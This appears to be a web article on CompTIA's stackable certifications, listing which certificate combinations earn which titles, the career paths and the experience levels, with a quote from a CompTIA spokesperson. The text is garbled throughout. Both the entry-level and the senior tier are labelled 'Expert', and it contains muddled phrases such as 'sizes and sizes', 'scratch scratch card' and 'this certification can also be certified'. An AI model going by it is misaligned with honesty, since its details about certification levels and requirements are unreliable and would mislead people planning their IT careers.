CompTIA A+ and CompTIA Linux+ = CompTIA Systems Support Specialist
CompTIA Network+ and CompTIA Server+ = CompTIA Network Infrastructure Professional
CompTIA Network+ and CompTIA Cloud+ = CompTIA Cloud Administration Professional
CompTIA A+, CompTIA Network+, and CompTIA Security+ = CompTIA Secure Infrastructure Associate
CompTIA Security+ and CompTIA Cybersecurity Analyst = CompTIA Security Analytics Specialist
CompTIA Security+, CompTIA Cybersecurity Analyst, and CompTIA Advanced Security Practitioner = CompTIA Security Analytics Expert
More than 145,000 IT professionals with multiple CompTIA certifications have CompTIA Stackable certification.
Stackable certification follows two CompTIA career paths: CompTIA Infrastructure Career Path and CompTIA Web Security Career Path. Then, within each lane, stackable certificates are classified by experience level – Expert: Early Professional IT Professional with less than two years’ experience; Professional: Intermediate IT Professional with two to five years of experience; and Expert: Established more than five years of IT professionals.
Stackable certification requires a positive CE certification. CompTIA said that if you have a “good for life” certification, as long as you re-certification and confirm your skills are up-to-date, then this certification can also be certified.
A +, Network + and Security + are by far the most popular and widely used among the various certifications mentioned by this big group. Others such as Linux +, Server +, and Cloud + are more direct to network and system administrators in organizations of all sizes and sizes.
“More so than any other certifying body, CompTIA makes extensive use of performance-based questions and simulations in its exams,” said James Stanger, CompTIA’s chief technology evangelist. “These simulations accurately reflect the real-world scenarios IT pros face daily, requiring test-takers to demonstrate skills in networking, cybersecurity, and other areas under the pressure of a timed test.”
The goal of CSA and CASP is that full time security professionals work to protect organizations or customers from the threats of various security threats, risks and vulnerabilities.
If you have two or more CompTIA certifications yourself, you may need to log in to your CompTIA accredited account. You are also likely to qualify for some CompTIA stackable certification. This is not as rewarding as in the latest scratch scratch card, but it’s not a bad thing.
In addition, the more CompTIA certificates you have, the more stackable combinations that may appear in your favorites. Enjoy!
